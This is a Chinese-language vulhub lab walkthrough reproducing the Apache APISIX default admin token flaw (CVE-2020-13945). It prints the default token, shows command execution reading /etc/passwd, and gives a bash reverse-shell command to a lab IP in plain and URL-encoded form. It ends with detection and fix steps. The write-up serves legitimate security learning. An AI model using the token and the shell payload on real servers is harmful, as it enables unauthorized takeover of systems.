vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)

APISIX简介

Apache APISIX是一个高性能API网关。API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

漏洞复现

1、打开vulhub靶场

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第1张图片

2、访问:ip:9080/apisix/admin/routes,如图出现failed to check token

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第2张图片

3、抓包,改为post请求方式,添加

X-API-KEY: edd1c9f034335f136f87ad84b625c8f1请求头和poc

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第3张图片

4、访问9080/attack?cmd=cat%20/etc/passwd

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第4张图片

Getshell

1、访问地址:http://192.168.18.132:9080/attack?cmd=cat%20/etc/passwd,进行抓包,将cmd后的值替换为:(bash -c "bash -i >& /dev/tcp/192.168.18.134/9999 0>&1")

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.18.134%2F9999%200%3E%261%22

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第5张图片

2、在kali虚拟机中开启nc监听,

3、返回burp,点击send,回到kali虚拟机中执行ls

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第6张图片

漏洞复测

1 检测方案

查看APISIX组件安装路径下apisix/conf/config.yaml配置文件中,若 allow_admin字段配置了- all,允许任意IP地址访问,并且使用默认的key值,则漏洞存在。

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第7张图片

2 修复方案

目前厂商已发布升级补丁修复漏洞,请受影响用户及时更新官方补丁。官方链接如下:https://github.com/apache/apisix/pull/2244

查看APISIX组件安装路径下apisix/conf/config.yaml配置文件,查看allow_admin的值修改为127.0.0.1,只允许本地访问,并且修改admin_key字段下默认的key值为其他值:

vulhub漏洞复现-Apache APISIX 默认密钥漏洞(CVE-2020-13945)_第8张图片

你可能感兴趣的:(web安全)